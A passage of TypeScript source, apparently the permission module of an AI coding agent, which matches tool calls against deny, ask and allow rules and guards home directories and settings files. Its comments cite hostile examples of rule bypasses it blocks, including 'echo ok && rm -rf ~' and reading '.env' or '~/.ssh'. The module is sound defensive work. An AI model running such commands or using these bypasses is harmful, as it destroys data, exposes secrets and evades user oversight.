{\n if (permissionRuleForToolCall(call) !== undefined) return undefined;\n const toolName = canonicalToolName(call.name);\n if (toolName === 'Bash' && typeof call.arguments.command === 'string') {\n const command = call.arguments.command.trim();\n return {\n // A command that opens with a blank line has an empty first line, the line a rule holds.\n lineBreak:\n LINE_BREAK.test(command) || (command !== '' && !getPrimaryArg(call.arguments).trim()),\n wildcard: command.includes('*'),\n };\n }\n const scope = ruleScopeOf(toolName, getPrimaryArg(call.arguments));\n return scope && RULE_WILDCARD.test(scope.taken)\n ? { lineBreak: false, wildcard: true }\n : undefined;\n}\n\n/**\n * Read an approver's answer, which may be a bare result or one naming a rule.\n *\n * Approvers that cannot widen a scope — the print-mode prompt, managed agents —\n * keep returning the string, so only the surface that offers the choice has to\n * know the richer shape exists.\n */\nexport function permissionResultOf(decision: PermissionResult | PermissionDecision) {\n return typeof decision === 'string' ? decision : decision.result;\n}\n\n/** The rule an approver picked, or `undefined` to derive it from the call. */\nexport function permissionRuleOf(\n decision: PermissionResult | PermissionDecision,\n): string | undefined {\n return typeof decision === 'string' ? undefined : decision.rule;\n}\n\n/** Why an approver refused, when it says; see `PermissionDecision.reason`. */\nexport function permissionReasonOf(\n decision: PermissionResult | PermissionDecision,\n): PermissionDecision['reason'] {\n return typeof decision === 'string' ? undefined : decision.reason;\n}\n\n/** How many rules the \"Always allow\" scope ladder may offer, exact included. */\nconst RULE_LADDER_MAX = 3;\n\n/**\n * Rules the \"Always allow\" button may write, narrowest first.\n *\n * The exact rule is always first and is what the button offers by default. For\n * a shell command it is also nearly useless: `Bash(npm run check)` matches that\n * byte sequence and nothing else, so a user who pressed \"Always allow\" to stop\n * being asked was asked again on the very next call. The remaining entries drop\n * one trailing token at a time — `npm run check` offers `npm run *` then\n * `npm *` — and the caller must show the pattern it is about to write, because\n * the difference between these is the whole decision.\n *\n * Only Bash gets a ladder. Paths are already reusable as written, and WebFetch\n * globs its own origin in {@link permissionRuleForToolCall}. The list is empty\n * when the call has no primary argument to scope a rule to, for a Bash command that has no\n * exact rule (a multi-line one, or one holding a `*`), and for another tool's call whose rule would\n * carry a `*` or `?` from its own text (see {@link permissionRuleForToolCall}), so the wider rungs\n * go too; a caller reads that as \"remember nothing\". The ladder is the exact rule\n * alone for a one-line compound command, a quoted one, and one holding a `?`: a wider rung is a\n * glob rule, and in a glob rule `?` matches any one character, so it would admit more than the\n * card shows. The exact rule has no `*` and compares as a plain string, so its `?` stays literal.\n */\nexport function permissionRuleLadder(call: ToolCall): string[] {\n const exact = permissionRuleForToolCall(call);\n if (!exact) return [];\n if (canonicalToolName(call.name) !== 'Bash') return [exact];\n\n // The whole command, not its first line, and quote-blind on purpose: a quote-aware tokenizer\n // would offer rungs with a dangling quote, such as `Bash(git commit -m \"fix(x): *)`.\n const raw = call.arguments.command;\n const command = typeof raw === 'string' ? raw.trim() : '';\n // A line break never gets here: `permissionRuleForToolCall` offers no rule for one. `!command`\n // is a Bash call whose `command` is not a string, which the generic path gave a rule to.\n if (\n !command ||\n SHELL_CHAINING.test(command) ||\n ANY_QUOTE.test(command) ||\n command.includes('?')\n ) {\n return [exact];\n }\n\n const tokens = command.split(/\\s+/);\n const ladder = [exact];\n for (let take = tokens.length - 1; take >= 1 && ladder.length < RULE_LADDER_MAX; take -= 1) {\n const prefix = `Bash(${tokens.slice(0, take).join(' ')} *)`;\n if (!ladder.includes(prefix)) ladder.push(prefix);\n }\n return ladder;\n}\n\nexport function permissionRuleMatchesCall(\n rule: string,\n call: ToolCall,\n platform: NodeJS.Platform = process.platform,\n shell?: ScanShell,\n): boolean {\n const toolName = canonicalToolName(call.name);\n // This feeds the session approve-all rules, which act as an allow.\n if (toolName === 'Bash') {\n return bashAllowRuleMatches(parseRule(rule), call.arguments.command, platform, shell);\n }\n const primaryArg = getPrimaryArg(call.arguments);\n if (toolName === 'WebFetch' && primaryArg) {\n try {\n // URL.toString() gives origin roots a trailing slash, matching the remembered origin glob.\n return ruleMatches(parseRule(rule), toolName, new URL(primaryArg).toString());\n } catch {\n // Invalid URLs retain the normal raw-argument matching behavior.\n }\n }\n return ruleMatches(parseRule(rule), toolName, primaryArg);\n}\n\nfunction patchOperations(args: Record<string, unknown>): PatchOperation[] {\n const parsed = parsePatch(args.patch);\n return 'operations' in parsed ? parsed.operations : [];\n}\n\nfunction ruleMatchesPatch(rule: ParsedRule, paths: readonly string[], fold: boolean): boolean {\n return paths.some((path) => ruleMatchesCandidate(rule, rule.toolName, path, fold));\n}\n\nfunction patchRuleSupportsOperation(rule: ParsedRule, operation: PatchOperation): boolean {\n if (rule.toolName === 'ApplyPatch') return true;\n if (rule.toolName === 'Edit') return operation.kind === 'update';\n if (rule.toolName === 'Write') return operation.kind === 'update' || operation.kind === 'add';\n return false;\n}\n\nfunction compatiblePatchRuleMatches(\n rule: ParsedRule,\n operations: PatchOperation[],\n spellingsOf: (path: string, restrictive: boolean) => readonly string[],\n fold: boolean,\n): boolean {\n if (!['ApplyPatch', 'Edit', 'Write'].includes(rule.toolName)) return false;\n if (rule.toolName === 'ApplyPatch' && rule.pattern === null) return true;\n return operations.some(\n (operation) =>\n patchRuleSupportsOperation(rule, operation) &&\n (rule.pattern === null || ruleMatchesPatch(rule, spellingsOf(operation.path, fold), fold)),\n );\n}\n\n/**\n * Extract the primary argument from a tool call for rule matching.\n * Delegates to the shared getPrimaryArg utility.\n */\nexport function primaryArgForRule(_toolName: string, args: Record<string, unknown>): string {\n return getPrimaryArg(args);\n}\n\n/**\n * Has the user written any deny or ask rule at all, for any tool?\n *\n * This is what keeps `sandbox.autoAllowBashIfSandboxed` from removing the default ask\n * ({@link sandboxAutoAllows}): a shell command line is not a primary argument the way a file path\n * is, and one line can read a file, write a file, reach the network and chain three more commands\n * behind `&&`. A deny or ask glob only matches the shapes the user thought to write down, and the\n * default ask underneath is what catches the rest, including the same action performed through a\n * different tool (`cat .env` against a `Read` deny, `curl` against a `WebFetch` deny). So any\n * hand-written deny/ask rule counts as the user saying \"adjudicate my shell commands\", and the\n * sandbox allowance steps aside.\n *\n * That is all this is for. It is NOT what makes a compound command ask in `auto`: that is the\n * narrower {@link hasBashAdjudicationPolicy}, which only a rule about Bash triggers.\n */\nexport function hasAdjudicationPolicy(settings: ResolvedSettings): boolean {\n return settings.permissions.deny.length > 0 || settings.permissions.ask.length > 0;\n}\n\n/**\n * Is there a deny or ask rule whose tool is Bash, under the comparison the matcher uses\n * ({@link toolNameMatchesRule})? A rule on another tool (`Read(.env)`) does not count.\n *\n * Such a rule is a glob over one line (the first line, or the whole command as one string), so it\n * cannot see what a compound command runs: `deny: [\"Bash(rm *)\"]` does not match\n * `echo ok && rm -rf ~`, `echo ok; rm -rf ~` or `echo ok\\nrm -rf ~`. Book does not split shell\n * commands to look inside them. Instead, while this policy exists, a Bash command that\n * {@link hasCompoundShellSyntax} calls compound is never run without the permission prompt: the\n * verdict is `ask` with {@link PermissionVerdict.compoundUnderPolicy}, which the agent loop turns\n * into a prompt in `auto` as well (`bypassPermissions` still bypasses, `dontAsk` refuses). Only a\n * deny or ask rule matching the command, or an exact allow rule naming the very command, outranks\n * it; a bare `Bash` or a glob allow rule does not.\n */\nexport function hasBashAdjudicationPolicy(settings: ResolvedSettings): boolean {\n return hasBashRestriction(parseRuleLists(settings));\n}\n\nfunction hasBashRestriction(lists: ParsedRuleLists): boolean {\n return [...lists.deny, ...lists.ask].some(({ parsed }) =>\n toolNameMatchesRule(parsed.toolName, 'Bash'),\n );\n}\n\n/**\n * Would `sandbox.autoAllowBashIfSandboxed` allow this call without a prompt?\n *\n * True only for a Bash call whose exact command text genuinely executes inside\n * a bubblewrap namespace. The command is read straight off `args.command` and\n * trimmed — byte-for-byte what `buildEffectiveCommand` in tools/shell.ts\n * matches against `excludedCommands` — rather than through `getPrimaryArg`,\n * which truncates to the first line. Judging a different string here than the\n * Bash tool judges is how \"sandboxed, so auto-allow\" and \"excluded, so run it\n * on the host\" end up applying to the same call.\n *\n * It is also true only when the user wrote no deny/ask rules at all\n * ({@link hasAdjudicationPolicy}). The bubblewrap namespace binds the workspace\n * read-write and shares the host network unless a domain policy is declared, so\n * \"sandboxed\" bounds the blast radius to the workspace — it does not make the\n * command harmless, and it is not a substitute for a prompt the user asked for.\n */\nfunction sandboxAutoAllows(\n toolName: string,\n args: Record<string, unknown>,\n settings: ResolvedSettings,\n options: PermissionEvaluationOptions,\n): boolean {\n if (!settings.sandbox.autoAllowBashIfSandboxed) return false;\n if (canonicalToolName(toolName) !== 'Bash') return false;\n if (hasAdjudicationPolicy(settings)) return false;\n const command = typeof args.command === 'string' ? args.command.trim() : '';\n if (!command) return false;\n return sandboxCoverage(command, settings.sandbox, options.sandboxBackendAvailable).sandboxed;\n}\n\nconst toPosix = (value: string) => value.replace(/\\\\/g, '/');\n\n/** The workspace root after following links, or `undefined` if it cannot be resolved. */\nfunction realRootOf(scope: WorkspaceScope): string | undefined {\n if (scope.realRoot) return scope.realRoot;\n try {\n return realpathSync.native(scope.root);\n } catch {\n return undefined;\n }\n}\n\n/** The file path a path-rule tool acts on. The loop normalizes argument aliases beforehand. */\nfunction pathArgument(toolName: string, args: Record<string, unknown>): string | undefined {\n const value = toolName === 'NotebookEdit' ? args.notebook_path : args.filePath;\n return typeof value === 'string' && value.trim() !== '' ? value : undefined;\n}\n\n/**\n * Does any rule name this tool? Only then is a call's path worth resolving to its other\n * spellings: resolving touches the file system, and most calls meet no rule at all.\n */\nfunction rulesName(lists: ParsedRuleLists, toolName: string): boolean {\n return [...lists.deny, ...lists.ask, ...lists.allow].some(\n ({ parsed }) => parsed.toolName === toolName,\n );\n}\n\n/**\n * A call's path arguments, resolved at most once each for one evaluation.\n *\n * A Read used to be resolved up to three times per call: once for the rule spellings, once for\n * `readToolTarget`, and once more by the tool itself, each of which walks to the nearest existing\n * ancestor and resolves links. Resolving is the most expensive thing a permission check does and\n * the three answers were required to agree — two of them resolved a moment apart, so a link\n * repointed in between judged one call two different ways. Here the results are computed once\n * and shared; nothing is cached across evaluations, so a path that changes between turns is\n * re-resolved the next turn.\n */\ninterface ResolvedPathScope {\n scope: WorkspaceScope;\n /** Roots a read may use, in the order the file tools try them. */\n roots(includeReadOnly: boolean): PathRoots;\n /** Where a path lands, resolved once and remembered. */\n detail(raw: string, includeReadOnly: boolean): ResolvedPathDetail;\n /**\n * Whether a canonical path is one a read may not reach without asking: Book's own local\n * settings under any root, or a path inside a home directory held by the root that serves it.\n */\n isGuarded(canonicalPath: string): boolean;\n /** Whether a Grep or Glob scope reaches a guarded home; see {@link ResolvedPathScope}. */\n scopeReachesHome(canonicalScope: string): boolean;\n}\n\n/** Where a path lands: a resolved file, or the reason no tool may serve it. */\ntype ResolvedPathDetail = ReadablePathDetail;\n\nfunction resolvedPathScope(scope: WorkspaceScope): ResolvedPathScope {\n const detailCache = new Map<string, ResolvedPathDetail>();\n const rootsFor = (includeReadOnly: boolean): PathRoots => ({\n workspaceRoot: scope.root,\n readOnlyRoots: includeReadOnly ? scope.readOnlyRoots : undefined,\n memorySearchRoot: scope.memorySearchRoot,\n additionalRoots: scope.additionalRoots,\n });\n // Fixed for the evaluation: the roots that hold a home directory of their own, and so may serve a\n // guarded path. Empty for the ordinary case, which is why the common read costs one check.\n // Computed once per root, where the roots are resolved, rather than per evaluation: each\n // `rootHoldsHome` is a `realpath` walk, and a read is judged against a serving root on every\n // call. The roots do not change while a scope lives.\n const holdsHomeByRoot = new Map<string, boolean>();\n const holdsHome = (root: string): boolean => {\n let known = holdsHomeByRoot.get(root);\n if (known === undefined) {\n known = rootHoldsHome(root, scope.homeGuards ?? []);\n holdsHomeByRoot.set(root, known);\n }\n return known;\n };\n const guardedRoots = [scope.root, ...(scope.additionalRoots ?? [])].filter(holdsHome);\n // Which root serves a canonical path, in the order the file tools resolve against them: the\n // workspace first, then the approved directories. The home guard is about the *serving* root,\n // not about every root that happens to contain the path — approving `/home/u` must not re-guard\n // a workspace at `/home/u/proj` that it merely sits above (PR #334 finding 3). Compared in one\n // canonical form on both sides, because the path came from `realpath` and the root is as given.\n const servingRootOf = (canonicalPath: string): string | undefined =>\n [realRootOf(scope), ...(scope.additionalRoots ?? [])].find(\n (root): root is string =>\n typeof root === 'string' && root.length > 0 && isUnderRoot(canonicalPath, root),\n );\n return {\n scope,\n roots: rootsFor,\n detail: (raw, includeReadOnly) => {\n // The cache is keyed by the raw path alone, so a Read and the rule spellings that share\n // one path argument share the resolution; the two only ever differ in which roots they\n // consult, and a Read is the only caller that passes `true` for both.\n const key = `${includeReadOnly ? 'r' : 'w'}\\0${raw}`;\n let known = detailCache.get(key);\n if (!known) {\n known = resolveReadablePathDetail(rootsFor(includeReadOnly), raw);\n detailCache.set(key, known);\n }\n return known;\n },\n isGuarded: (canonicalPath) => {\n const roots = [realRootOf(scope), ...(scope.additionalRoots ?? [])].filter(\n (root): root is string => typeof root === 'string' && root.length > 0,\n );\n // Every root Book serves, not only the workspace: an honored directory carries its own\n // `.book/settings.local.json`, which can hold an API key just as the workspace's does.\n if (roots.some((root) => isBookLocalSettingsPath(canonicalPath, root, { directory: true })))\n return true;\n // The home rule has two halves, and both are load-bearing. The path must land inside a home\n // directory, and the root that *serves* it must hold that home. A root that merely sits\n // below the home — which is nearly every workspace and nearly every project directory —\n // holds nothing and guards nothing; without the first half a workspace under the home would\n // ask for every file it owns, and without the second an approved directory holding a home\n // would be guarded in its entirety, which is not what was approved.\n if (guardedRoots.length === 0) return false;\n if (!pathHoldsHome(canonicalPath, scope.homeGuards ?? [])) return false;\n const serving = servingRootOf(canonicalPath);\n return serving !== undefined && holdsHome(serving);\n },\n /**\n * Whether a Grep or Glob *scope* can reach a guarded home. A scope is a subtree, not a file,\n * so it is guarded when the guarded home is inside it as well as when it is inside the home:\n * `Grep {path: \"/home\"}` reads `~/.ssh` without naming a single file under it (PR #334\n * finding 4). Compared canonically, both ways, because either side may be reached by a link.\n */\n scopeReachesHome: (canonicalScope) => {\n const homes = scope.homeGuards ?? [];\n // The scope *contains* a guarded home, or *is* one. A scope that merely sits *below* a home\n // — which is nearly every workspace and project directory — does not reach it:\n // `containsPath` returning true for \"home contains scope\" is the descent case and is\n // deliberately not consulted here, or the guard would fire on every ordinary read again.\n // This is the reported walk: `Grep {path: \"/home\"}` prints lines from `~/.ssh` and\n // `~/.book` without naming a file under them, and the scope reaches them by containing the\n // home.\n if (homes.some((home) => containsPath(canonicalScope, home))) return true;\n // And the scope sits inside a root that holds a home, so every file it walks is guarded.\n return guardedRoots.some((root) => containsPath(root, canonicalScope));\n },\n };\n}\n\n/**\n * The spellings of a memory write root target: the path as written and after links, with forward\n * slashes, and — for `deny` and `ask` only — the path relative to the canonical memory root,\n * mirroring what an honored root contributes. `allow` gets no root-relative form, or\n * `Write(topic.md)` would come to grant the memory file. `relativeOf` is the path module's\n * `relative`, a seam so a Windows path can be checked on any OS.\n */\nexport function memoryTargetSpellings(\n target: { filePath: string; canonicalPath: string },\n canonicalRoot: string,\n restrictive: boolean,\n relativeOf: (from: string, to: string) => string = relative,\n): string[] {\n const spellings = [toPosix(target.filePath), toPosix(target.canonicalPath)];\n if (restrictive) spellings.push(toPosix(relativeOf(canonicalRoot, target.canonicalPath)));\n return spellings;\n}\n\n/**\n * The other spellings of a target path that a rule may have been written against: relative to the\n * root it lands in and absolute, with forward slashes. Inside the workspace that is the\n * workspace-relative form, the absolute path as written, the absolute path after links, and the\n * same relative form against the real workspace root. Outside it, the roots a tool may serve\n * contribute their two absolute spellings — and only the ones they serve, which is why a write\n * that lands in an honored directory gets spellings while a Read into the memory inbox does not.\n *\n * `restrictive` is true for `deny` and `ask`, and it adds the form relative to an honored root the\n * path lands in. A rule written against the workspace — `Write(.env)` — means the `.env` of the\n * root the call writes into, and without this the same rule matched in the workspace and silently\n * did not in `/srv/app` (PR #334 finding 10). It is deliberately *not* added for `allow`: a rule\n * that widens must not acquire a new meaning, or `Edit(src/**)` would come to cover\n * `/srv/app/src/...` — a grant the user never wrote.\n */\nfunction spellingsOfPath(\n paths: ResolvedPathScope,\n raw: string,\n includeReadOnly: boolean,\n restrictive: boolean,\n): string[] {\n const spellings: string[] = [];\n const { memoryWrite } = paths.scope;\n if (memoryWrite && !includeReadOnly) {\n // A write the memory write root serves, which the readable roots below may not (the memory\n // directory is usually outside the workspace). Without these a `deny`/`ask` glob such as\n // `Write(**/topic.md)` never saw a forward-slash spelling of a Windows path and lost to the\n // memory allowance.\n const memory = resolveMutationPath(\n {\n workspaceRoot: paths.scope.root,\n additionalRoots: paths.scope.additionalRoots,\n memoryWrite,\n },\n raw,\n );\n if (memory?.memory) {\n spellings.push(\n ...memoryTargetSpellings(memory, canonicalizePath(resolve(memoryWrite.root)), restrictive),\n );\n }\n }\n const detail = paths.detail(raw, includeReadOnly);\n if (!('path' in detail)) {\n // A target no root serves still gets its forward-slash spellings for `deny` and `ask`: as\n // written, and absolute against the workspace the tools resolve it in. Without them a Windows\n // path (`C:\\elsewhere\\.env`) was tested only as written, which no glob holding a `/`\n // (`Read(**/.env)`) can match, so an ask rule on it never asked in `auto` there (#527), and a\n // relative spelling (`..\\elsewhere\\.env`) missed a rule written as an absolute path.\n if (restrictive) spellings.push(toPosix(raw), toPosix(resolve(paths.scope.root, raw)));\n return [...new Set(spellings)].filter((s) => s !== '' && s !== raw);\n }\n const resolved = detail.path;\n const inWorkspace = resolveWorkspacePath(paths.scope.root, raw) !== null;\n if (inWorkspace) {\n spellings.push(\n resolved.relativePath,\n toPosix(resolved.filePath),\n toPosix(resolved.canonicalPath),\n );\n const realRoot = realRootOf(paths.scope);\n if (realRoot) spellings.push(toPosix(relative(realRoot, resolved.canonicalPath)));\n } else {\n spellings.push(toPosix(resolved.filePath), toPosix(resolved.canonicalPath));\n if (restrictive) {\n for (const root of paths.scope.additionalRoots ?? []) {\n // The root in the path's own canonical form: the path came from `realpath`, and a root as\n // given is a second spelling of it (8.3 short form, drive-letter case, separators) rather\n // than a different place — comparing the two spellings read every relative form as `..`.\n const fromRoot = relative(canonicalizePath(root), resolved.canonicalPath);\n // `..` followed by a separator, not a bare prefix: a sibling directory whose name merely\n // starts with two dots (`..foo`) is inside the root, and `startsWith('..')` calls it\n // outside.\n if (\n !fromRoot ||\n isAbsolute(fromRoot) ||\n fromRoot === '..' ||\n fromRoot.startsWith(`..${sep}`)\n ) {\n continue;\n }\n spellings.push(toPosix(fromRoot));\n }\n }\n }\n return [...new Set(spellings)].filter((spelling) => spelling !== '' && spelling !== raw);\n}\n\n/** The other spellings of a path-rule tool's target; see `spellingsOfPath`. */\nfunction pathRuleSpellings(\n paths: ResolvedPathScope,\n toolName: string,\n args: Record<string, unknown>,\n restrictive: boolean,\n): string[] {\n const raw = pathArgument(toolName, args);\n return raw ? spellingsOfPath(paths, raw, toolName === 'Read', restrictive) : [];\n}\n\n/**\n * Where a Glob reaches: `invalid` with the matcher's reason when the pattern is one it cannot read,\n * `outside` when the walk would answer from anywhere outside the roots the tools serve (`../**`, an\n * absolute path elsewhere), `guarded` when one of those directories holds a home directory, and\n * `servable` otherwise.\n *\n * It asks the walk itself rather than guessing from the pattern, because a pattern can spell a climb\n * in a way only normalization reveals — a globstar segment followed by two parent hops answers from\n * the parent, though it reads as a glob and a hop.\n *\n * Every directory the walk can answer from is judged, not one: a group in the first segment is a\n * segment that has to be matched, so `{link,src}/**` answers from wherever the alternative names\n * and the walk returns from all of them. The worst answer wins, so a pattern naming both a directory\n * in the workspace and one holding `~/.ssh` asks instead of being allowed — the same answer a\n * `Grep` of a scope holding a home directory gives (PR #334 finding 4).\n *\n * A pattern the matcher cannot read at all is its own verdict rather than `outside`. Nothing about\n * the directory is wrong with it: the walk would not have happened, so there is no directory to add\n * and no permission that would have let it, and the caller is told the matcher's own reason.\n */\nfunction globTarget(pattern: string, paths: ResolvedPathScope): ReadToolTargetResult {\n const { refusal, scopes } = globWalkPlan(pattern, paths.scope.root);\n if (refusal) return { target: 'invalid', reason: refusal };\n if (scopes === null) return 'outside';\n let guarded = false;\n for (const scope of scopes) {\n const detail = paths.detail(scope, false);\n if (!('path' in detail)) return 'outside';\n // The scope is a directory, not a file: guarded the same way a Grep scope is (#334 finding 4).\n if (paths.scopeReachesHome(detail.path.canonicalPath)) guarded = true;\n }\n return guarded ? 'guarded' : 'servable';\n}\n\n/** What a Read, Glob or Grep call reaches; see {@link readToolTarget}. */\ntype ReadToolTarget =\n 'servable' | 'outside' | 'guarded' | 'none' | { target: 'invalid'; reason: string };\n\n/** {@link ReadToolTarget} with the matcher's reason carried beside an unreadable pattern. */\ntype ReadToolTargetResult =\n 'servable' | 'outside' | 'guarded' | { target: 'invalid'; reason: string };\n\n/**\n * What a Read, Glob or Grep call reaches, judged the way the tool judges it: `servable` (the tool\n * can serve it), `outside` (no root contains it, so no approval could make the tool open it),\n * `guarded` (Book's own local settings, or a root that holds a home directory, which keep asking),\n * or `none` (no target to judge; the tool rejects the call itself). A Glob whose pattern the matcher\n * cannot read is `{ target: 'invalid', reason }`, which is refused with that reason rather than as\n * an unreachable path.\n */\nfunction readToolTarget(\n toolName: string,\n args: Record<string, unknown>,\n paths: ResolvedPathScope,\n): ReadToolTarget {\n if (toolName === 'Read') {\n const raw = pathArgument(toolName, args);\n if (!raw) return 'none';\n const detail = paths.detail(raw, true);\n if (!('path' in detail)) return 'outside';\n return paths.isGuarded(detail.path.canonicalPath) ? 'guarded' : 'servable';\n }\n if (toolName === 'Glob') {\n const pattern = typeof args.pattern === 'string' ? args.pattern.trim() : '';\n if (!pattern) return 'none';\n // A Glob is judged by every directory its walk answers from, asked of the walk itself rather\n // than guessed from the pattern: `{..,src}/*` and `.{.,x}/*` both answer from the workspace and\n // return nothing outside it, while a globstar or an extglob followed by two parent hops —\n // `*/../../**`, `**/../../**`, `src/*/../../../*.ts` — normalizes to a leading `../` and\n // answers from a parent of it. As is a scope no root serves, which is the same answer a Read of\n // an unreachable path gives.\n return globTarget(pattern, paths);\n }\n // Grep: no path, or `.`, searches the workspace; a path may name the memory directory.\n const raw = typeof args.path === 'string' ? args.path.trim() : '';\n if (raw === '' || raw === '.') return 'servable';\n const detail = paths.detail(raw, false);\n if (!('path' in detail)) return 'outside';\n if (paths.isGuarded(detail.path.canonicalPath)) return 'guarded';\n // The scope is a directory: guarding only the directory path itself would let `Grep\n // {path: \"/home\"}` print lines from `~/.ssh` without naming a file under it.\n return paths.scopeReachesHome(detail.path.canonicalPath) ? 'guarded' : 'servable';\n}\n\n/**\n * One entry of a rule list, parsed once.\n *\n * Every rule string was re-parsed on every call it was tested against, and each call was tested\n * once per candidate spelling of its path — so a Read of `.env` with ten `Read` rules spent\n * forty `parseRule` calls to make one decision. The parse is a pair of `indexOf`/`slice` calls\n * whose result depends only on the string, so it is done once here and the parsed rules are what\n * the three loops below read. The original text rides along because a verdict reports the rule\n * the user wrote, not a reconstruction of it.\n */\ninterface ListedRule {\n text: string;\n parsed: ParsedRule;\n}\n\ninterface ParsedRuleLists {\n deny: ListedRule[];\n ask: ListedRule[];\n allow: ListedRule[];\n}\n\nfunction parseRuleLists(settings: ResolvedSettings): ParsedRuleLists {\n const list = (texts: readonly string[]): ListedRule[] =>\n texts.map((text) => ({ text, parsed: parseRule(text) }));\n return {\n deny: list(settings.permissions.deny),\n ask: list(settings.permissions.ask),\n allow: list(settings.permissions.allow),\n };\n}\n\n/**\n * Has the user written a deny or ask rule about reading? A Grep or Glob reads files a `Read` rule\n * cannot see (`Grep` with `path: \".env\"` returns every line), so while one exists they keep the\n * default prompt, the way `sandboxAutoAllows` steps aside for any adjudication policy.\n */\nfunction hasReadAdjudication(lists: ParsedRuleLists): boolean {\n return [...lists.deny, ...lists.ask].some(({ parsed }) =>\n WORKSPACE_READ_TOOLS.has(parsed.toolName),\n );\n}\n\n/** The file tools that may write into the memory directory. */\nconst MEMORY_WRITE_TOOLS: ReadonlySet<string> = new Set([\n 'Write',\n 'Edit',\n 'MultiEdit',\n 'ApplyPatch',\n]);\n\n/**\n * Whether a call is a write whose every target is a memory file the memory write root serves.\n * ApplyPatch can name several files, and one that is not a memory target sends the whole patch\n * through the ordinary flow.\n */\nfunction writesOnlyMemory(\n tool: string,\n args: Record<string, unknown>,\n scope: WorkspaceScope | undefined,\n): boolean {\n if (!scope?.memoryWrite || !MEMORY_WRITE_TOOLS.has(tool)) return false;\n const roots: PathRoots = {\n workspaceRoot: scope.root,\n additionalRoots: scope.additionalRoots,\n memoryWrite: scope.memoryWrite,\n };\n const targets =\n tool === 'ApplyPatch'\n ? patchOperations(args).map((operation) => operation.path)\n : [pathArgument(tool, args)];\n return (\n targets.length > 0 &&\n targets.every(\n (target) => target !== undefined && resolveMutationPath(roots, target)?.memory === true,\n )\n );\n}\n\n/**\n * Whether a call is a Bash `rm` of memory files and nothing else: one plain `rm` whose every operand\n * is an absolute `*.md` path under the memory root (see `strictRmOfMarkdownUnder`). The one shell\n * command that needs no prompt, as removing a memory is for Claude Code. `full` sessions only: the\n * write guard cannot see an `rm`, so a session another agent drives keeps asking.\n */\nfunction removesOnlyMemory(\n tool: string,\n args: Record<string, unknown>,\n scope: WorkspaceScope | undefined,\n): boolean {\n if (tool !== 'Bash' || scope?.memoryWrite?.scope !== 'full') return false;\n // `run_in_background` would detach the removal from the call the user is shown.\n if (typeof args.command !== 'string' || args.run_in_background === true) return false;\n return strictRmOfMarkdownUnder(args.command, scope.memoryWrite.root) !== null;\n}\n\n/**\n * Evaluate permission rules against a tool call. Rules are evaluated in\n * CC's order: deny → ask → allow. First match wins. For Bash the order is deny → ask → exact\n * allow rules → (a compound command under a Bash deny or ask rule: ask) → glob and bare allow\n * rules; see {@link bashAllowRuleMatches} and {@link hasBashAdjudicationPolicy}.\n *\n * Returns 'allow', 'deny', or 'ask' (the default when no rule matches), or `refuse` for a\n * Read, Glob or Grep target no tool may serve, which no rule and no mode can make servable.\n */\nexport function evaluatePermission(\n toolName: string,\n args: Record<string, unknown>,\n settings: ResolvedSettings,\n options: PermissionEvaluationOptions = {},\n): PermissionVerdict['decision'] {\n return evaluatePermissionDetail(toolName, args, settings, options).decision;\n}\n\nexport function evaluatePermissionDetail(\n toolName: string,\n args: Record<string, unknown>,\n settings: ResolvedSettings,\n options: PermissionEvaluationOptions = {},\n): PermissionVerdict {\n const scope = options.workspace;\n // One resolver per evaluation: every path this call is judged by is resolved once and shared\n // between the rule spellings and the read-target judgment. Nothing survives the call, so the\n // next evaluation resolves again.\n const paths = scope ? resolvedPathScope(scope) : undefined;\n const parsed = parseRuleLists(settings);\n\n // ApplyPatch is the canonical mutation surface, but existing Edit/Write rules\n // remain valid for compatibility. A multi-file patch is allowed only when every\n // target is covered; a deny on any target wins.\n if (toolName === 'ApplyPatch') {\n const operations = patchOperations(args);\n // A Write or Edit rule applies however the patch spells the path (`src/../.env`, absolute).\n // Two sets per target, because `deny`/`ask` are also offered the form relative to an approved\n // root and `allow` is not — see `spellingsOfPath`.\n const spellings = new Map<string, readonly string[]>();\n const restrictiveSpellings = new Map<string, readonly string[]>();\n const spellingsOf = (path: string, restrictive: boolean): readonly string[] => {\n const cache = restrictive ? restrictiveSpellings : spellings;\n let known = cache.get(path);\n if (!known) {\n known = paths ? [path, ...spellingsOfPath(paths, path, false, restrictive)] : [path];\n cache.set(path, known);\n }\n return known;\n };\n const isCompatible = (rule: ParsedRule) =>\n rule.toolName === 'ApplyPatch' || rule.toolName === 'Edit' || rule.toolName === 'Write';\n for (const list of ['deny', 'ask'] as const) {\n for (const entry of parsed[list]) {\n if (!isCompatible(entry.parsed)) continue;\n // `deny` and `ask` fold case on a path, exactly as they do for a `Write` or `Read` that\n // names the same file; `allow` below keeps exact matching, so the fold only ever restricts\n // (PR #334 finding 6).\n if (compatiblePatchRuleMatches(entry.parsed, operations, spellingsOf, true)) {\n return { decision: list, matchedRule: entry.text, source: list };\n }\n }\n }\n const allowRules = parsed.allow.filter(({ parsed: rule }) => isCompatible(rule));\n // Reported exactly as before: the first rule the list declares that names this tool at all,\n // whether or not it is the one that decided the call.\n const firstCompatible = allowRules[0]?.text;\n if (\n operations.length > 0 &&\n operations.every((operation) =>\n allowRules.some(\n ({ parsed: rule }) =>\n patchRuleSupportsOperation(rule, operation) &&\n (rule.pattern === null ||\n ruleMatchesPatch(rule, spellingsOf(operation.path, false), false)),\n ),\n )\n ) {\n return { decision: 'allow', matchedRule: firstCompatible, source: 'allow' };\n }\n if (\n allowRules.some(({ parsed: rule }) => rule.toolName === 'ApplyPatch' && rule.pattern === null)\n ) {\n return { decision: 'allow', matchedRule: firstCompatible, source: 'allow' };\n }\n if (writesOnlyMemory('ApplyPatch', args, scope)) return { decision: 'allow', source: 'memory' };\n return { decision: 'ask', source: 'default' };\n }\n\n const tool = canonicalToolName(toolName);\n // A rule about a file applies however the call spells its path: `Read(.env)` must also stop\n // `D:/ws/.env` and `src/../.env`, which the glob on the raw argument misses. Resolved only when\n // a rule names the tool, since resolving touches the file system.\n const candidates: string[] = [getPrimaryArg(args)];\n let restrictiveCandidates: string[] =\n tool === 'Bash' ? bashRestrictiveCandidates(args.command, candidates[0]) : candidates;\n if (scope && paths && PATH_RULE_TOOLS.has(tool) && rulesName(parsed, tool)) {\n restrictiveCandidates = [...candidates, ...pathRuleSpellings(paths, tool, args, true)];\n // `allow` is offered only the spellings a `Write` would have written: the raw argument, the\n // path as given, and its canonical form. It is not offered the form relative to an honored\n // root, so a workspace-shaped allow such as `Edit(src/**)` cannot come to mean\n // `/srv/app/src/**` — a grant the user never wrote (PR #334 finding 10).\n candidates.push(...pathRuleSpellings(paths, tool, args, false));\n }\n // `deny` and `ask` restrict, so they fold case for a path-rule tool and take the wider set of\n // spellings; `allow` keeps exact matching, because 